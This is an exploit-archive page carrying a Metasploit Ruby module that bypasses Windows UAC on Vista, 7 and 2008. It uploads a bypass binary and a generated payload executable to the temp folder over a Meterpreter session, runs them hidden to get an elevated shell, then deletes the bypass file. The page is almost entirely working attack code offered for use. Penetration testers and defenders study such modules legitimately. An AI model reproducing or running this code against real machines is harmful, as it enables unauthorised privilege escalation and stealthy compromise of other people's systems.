Author

metasploit

Risk

[

Security Risk High

]

0day-ID

0day-ID-19522

Category

local exploits

Date add

06-10-2012

Platform

windows

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Post::Common
  include Exploit::EXE
  include Post::File

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Escalate UAC Protection Bypass',
      'Description'   => %q{
        This module will bypass Windows UAC by utilizing the trusted publisher
        certificate through process injection. It will spawn a second shell that
        has the UAC flag turned off.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
          'mitnick',
          'mubix <mubix[at]hak5.org>' # Port to local exploit
        ],
      'Version'       => '$Revision$',
      'Platform'      => [ 'windows' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [ [ 'Windows', {} ] ],
      'DefaultTarget' => 0,
      'References'    => [
        [ 'URL', ' http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
      ],
      'DisclosureDate'=> "Dec 31, 2010"
    ))

  end

  def exploit


    #
    # Verify use against Vista+
    #
    vuln = false
    winver = sysinfo["OS"]
    affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
    affected.each { |v|
      if winver.include? v
        vuln = true
      end
    }
    if not vuln
      print_error("#{winver} is not vulnerable.")
      return
    end

    #
    # Generate payload and random names for upload
    #
    payload = generate_payload_exe

    # randomize the bypass_uac_filename
    bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

    # randomize the payload exe name
    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

    # path to the bypassuac binary
    path = ::File.join(Msf::Config.install_root, "data", "post")

    # decide, x86 or x64
    bpexe = nil
    if sysinfo["Architecture"] =~ /wow64/i
      bpexe = ::File.join(path, "bypassuac-x64.exe")
    else
      bpexe = ::File.join(path, "bypassuac-x86.exe")
    end

    tmpdir = session.fs.file.expand_path("%TEMP%")
    cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}"

    print_status("Uploading the bypass UAC executable to the filesystem...")

    begin
      #
      # Upload UAC bypass to the filesystem
      #
      session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe)
      print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
      #
      # Upload the payload to the filesystem
      #
      tempexe = tmpdir + "\\" + payload_filename
      fd = client.fs.file.new(tempexe, "wb")
      fd.write(payload)
      fd.close
    rescue ::Exception => e
      print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
      return
    end

    print_status("Uploaded the agent to the filesystem....")

    # execute the payload
    session.sys.process.execute(cmd, nil, {'Hidden' => true})

    # delete the uac bypass payload
    delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}"

    session.sys.process.execute(delete_file, nil, {'Hidden' => true})
  end
end



#  0day.today [2024-11-15]  #